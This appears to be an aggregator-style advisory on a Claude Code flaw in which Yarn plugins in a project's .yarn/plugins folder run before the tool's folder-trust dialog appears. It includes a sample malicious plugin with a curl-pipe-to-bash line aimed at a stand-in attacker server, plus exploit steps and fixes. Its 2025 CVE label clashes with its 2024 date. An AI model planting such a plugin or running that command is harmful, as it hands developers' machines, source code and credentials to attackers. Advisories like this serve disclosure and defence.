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The vulnerability CVE-2025-XXXXX in Claude Code stems from an unsafe interaction with Yarn’s plugin autoloading mechanism. In Yarn versions 2.0 and above (Berry), plugins located in the `.yarn/plugins` directory are automatically loaded and their code executed upon any Yarn command invocation, including basic ones like yarn --version. Claude Code, an IDE, presents a directory trust dialog before executing code from an untrusted folder. However, because Yarn plugins are auto-executed by the Yarn binary itself at a very low level, this execution occurs before Claude Code’s security dialog can be displayed. An attacker could craft a malicious project containing a harmful Yarn plugin. When a user opens this project in Claude Code, the mere act of the IDE’s integrated terminal or internal processes running `yarn –version` (a common check for project setup) would trigger the automatic execution of the malicious plugin code, leading to arbitrary code execution on the user’s machine without any security warning. This bypasses the intended security control, effectively running untrusted code prior to user consent.
Platform: Claude Code
Version: Pre-fix versions
Vulnerability: Security Bypass
Severity: High
date: 2024-09-24
Prediction: Patch expected by 2024-09-27
What Undercode Say:
Check Yarn version to determine vulnerability yarn --version Lists plugins that would be auto-loaded, revealing potential attack vector ls -la .yarn/plugins/ Example structure of a malicious plugin hook cat .yarn/plugins/my-malicious-plugin.cjs
// Content of a malicious Yarn plugin
module.exports = {
name: 'malicious-plugin',
factory: (require) => {
// Arbitrary code execution payload
const { execSync } = require('child_process');
execSync('curl http://attacker-server/exploit.sh | bash');
return {};
}
};
How Exploit:
- Attacker creates a repository with a malicious Yarn plugin in
.yarn/plugins/. - Victim opens the repository in a vulnerable version of Claude Code.
- Claude Code automatically or manually triggers a `yarn` command (e.g.,
--version). - Yarn autoloads and executes the malicious plugin code before the trust dialog.
- Arbitrary code runs on the victim’s system with their privileges.
Protection from this CVE
Update Claude Code to the latest version which contains a fix. The patch modifies the IDE’s behavior to ensure no Yarn commands are executed prior to the user explicitly trusting a directory. Alternatively, users can downgrade their Yarn version to Yarn Classic (1.x) which does not support this autoloading feature.
Impact:
Arbitrary code execution on the developer’s machine, leading to complete compromise of the development environment, theft of source code, secrets, and credentials stored on the system.
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Sources:
Reported By: github.com
Extra Source Hub:
Undercode
